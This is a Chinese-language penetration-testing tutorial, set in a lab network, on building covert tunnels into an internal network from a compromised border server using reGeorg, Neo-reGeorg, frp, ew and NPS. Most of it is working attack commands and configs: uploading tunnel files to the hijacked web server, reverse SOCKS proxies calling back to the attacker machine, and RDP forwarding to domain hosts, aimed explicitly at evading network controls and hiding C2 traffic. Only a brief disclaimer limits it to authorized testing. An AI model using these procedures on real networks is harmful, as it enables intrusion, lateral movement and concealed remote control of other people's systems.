内网穿透隐秘隧道搭建
字数 1681 2025-08-03 16:47:34
内网穿透隐秘隧道搭建技术详解
0x00 前言
内网穿透隐秘隧道技术用于突破网络限制,构建内网隐蔽通道,实现对目标服务器的控制。当从外网获得攻击点后,可通过反弹shell、端口转发、内网穿透等技术进一步入侵内网服务器。取得内网控制权限后,隧道技术可绕过网络限制,实现隐蔽C2服务器通信。
实验网络拓扑:
- 攻击机:
- Win10:192.168.1.6
- Kali:192.168.1.7
- 靶场:
- VM1(边界服务器,Win7):192.168.52.143/192.168.1.5
- VM2(域成员,2003):192.168.52.141
- VM3(域控,2008):192.168.52.138
0x01 reGeorg隧道搭建
1.1 环境要求
- 攻击机Kali
- reGeorg软件(下载地址:https://github.com/sensepost/reGeorg)
- 运行环境:Python、pip、urllib3
1.2 部署配置
-
上传隧道文件:将
tunnel.nosocket.php上传至已控制的跳板机web目录 -
验证访问:访问
http://192.168.1.5/tunnel.nosocket.php确认上传成功 -
启动reGeorg:
python reGeorgSocksProxy.py -p 1090 -u http://192.168.1.5/tunnel.nosocket.php此命令将本地1090端口的流量转发至指定URL
-
配置代理链:
修改/etc/proxychains.conf,添加:socks5 127.0.0.1 1090
1.3 测试使用
proxychains curl http://192.168.52.143
0x02 Neo-reGeorg隧道搭建
1.1 生成隧道文件
python3 neoreg.py generate -k <password>
生成包含多种语言隧道文件的neoreg_server目录
1.2 部署配置
- 上传隧道文件:将生成的
tunnel.php上传至跳板机 - 验证访问:访问
http://192.168.1.5/tunnel.php - 启动Neo-reGeorg:
python3 neoreg.py -k jdxyxd -u http://192.168.1.5/tunnel.php - 配置代理链:
修改/etc/proxychains.conf,添加:socks5 127.0.0.1 1080
1.3 测试使用
proxychains curl http://192.168.52.143
0x03 frp隧道搭建
1.1 Windows环境配置
攻击机(服务端)配置:
- 编辑
frps.ini:[common] bind_port = 7000 - 启动服务端:
frps.exe -c frps.ini
跳板机(客户端)配置:
- 编辑
frpc.ini:[common] server_addr = 192.168.1.6 server_port = 7000 [socks5] type = tcp remote_port = 8010 plugin = socks5 - 启动客户端:
frpc.exe -c frpc.ini
代理配置:
- SwitchyOmega配置SOCKS5代理:192.168.1.6:8010
- 或使用Proxifier配置相同代理
0x04 ew隧道搭建
1.1 Kali环境配置
正向代理:
- 在跳板机执行:
ew_for_win_32.exe -s ssocksd -l 1090 - 修改
/etc/proxychains.conf:socks5 192.168.1.5 1090 - 测试:
proxychains curl http://192.168.52.143/
反向代理:
- 服务端(攻击机)执行:
./ew_for_linux -s rcsocks -l 1080 -e 1024 - 客户端(跳板机)执行:
ew.exe -s rssocks -d 192.168.1.7 -e 1024 - 配置代理链:
修改/etc/proxychains.conf:socks5 127.0.0.1 1080 - 测试:
proxychains curl http://192.168.52.143/
0x05 NPS隐秘隧道搭建
1.1 建立连接
- 攻击机安装并启动NPS服务端:
./nps install nps start - 访问Web界面:
http://192.168.1.7:8080(默认账号admin/123) - 添加客户端,配置验证密钥(如"any"),开启压缩和加密传输
- 边界主机连接服务端:
npc.exe -server=192.168.1.7:8024 -vkey=any
1.2 TCP隧道配置
- 在Web界面配置隧道:
- 目标:
192.168.52.143:3389 - 服务端口:
1111
- 目标:
- 使用隧道:
rdesktop 192.168.1.7:1111
1.3 SOCKS5代理配置
- 在Web界面选择"SOCKS代理"模式,设置服务端端口(如1234)
- 配置代理服务器为
192.168.1.7:1234 - 或配置Proxifier使用该代理
- 访问内网资源:
curl http://192.168.52.143/
注意事项
- 所有技术仅用于合法授权测试
- 使用前确保获得目标系统所有者授权
- 传播或利用相关技术造成的后果由使用者自行承担
- 隧道通信建议启用加密以增强隐蔽性
参考资源
- reGeorg: https://github.com/sensepost/reGeorg
- Neo-reGeorg: https://github.com/L-codes/Neo-reGeorg
- frp: https://github.com/fatedier/frp
- ew: https://github.com/idlefire/ew
- NPS: https://github.com/ehang-io/nps